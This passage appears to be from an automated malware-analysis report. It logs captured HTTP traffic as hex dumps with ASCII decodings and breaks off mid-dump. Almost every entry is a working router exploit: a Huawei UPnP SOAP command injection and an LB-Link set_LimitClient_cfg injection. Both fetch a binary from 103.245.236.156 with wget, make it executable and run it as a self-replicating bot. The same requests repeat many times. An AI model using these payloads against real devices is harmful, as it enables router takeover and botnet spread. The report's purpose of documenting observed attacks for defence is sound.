3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 